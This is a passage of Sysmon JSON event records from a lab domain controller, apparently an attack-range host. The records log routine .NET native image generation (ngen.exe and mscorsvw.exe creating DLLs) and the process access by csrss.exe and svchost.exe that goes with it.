12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:14.776\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-001079091100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:14.776","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-001079091100}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:14.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-001079091100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:14.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-001079091100}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:19.572\r\nProcessGuid: {90617006-433E-5F2D-0000-001079091100}\r\nProcessId: 3396\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\d44-0\\System.Core.dll\r\nCreationUtcTime: 2020-08-07 12:04:19.572","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:19.572","ProcessGuid":"{90617006-433E-5F2D-0000-001079091100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\d44-0\\System.Core.dll","CreationUtcTime":"2020-08-07 12:04:19.572","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:19.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4314-5F2D-0000-0010EB910F00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:19.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4314-5F2D-0000-0010EB910F00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:19.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4314-5F2D-0000-0010EB910F00}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:19.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4314-5F2D-0000-0010EB910F00}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:19.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4343-5F2D-0000-00108C0E1100}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:19.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4343-5F2D-0000-00108C0E1100}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:20.197\r\nProcessGuid: {90617006-4343-5F2D-0000-00108C0E1100}\r\nProcessId: 5036\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\13ac-0\\System.Configuration.dll\r\nCreationUtcTime: 2020-08-07 12:04:20.197","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:20.197","ProcessGuid":"{90617006-4343-5F2D-0000-00108C0E1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\13ac-0\\System.Configuration.dll","CreationUtcTime":"2020-08-07 12:04:20.197","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:20.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010179D0F00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:20.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010179D0F00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:20.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010179D0F00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:20.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010179D0F00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:20.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4344-5F2D-0000-001059121100}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 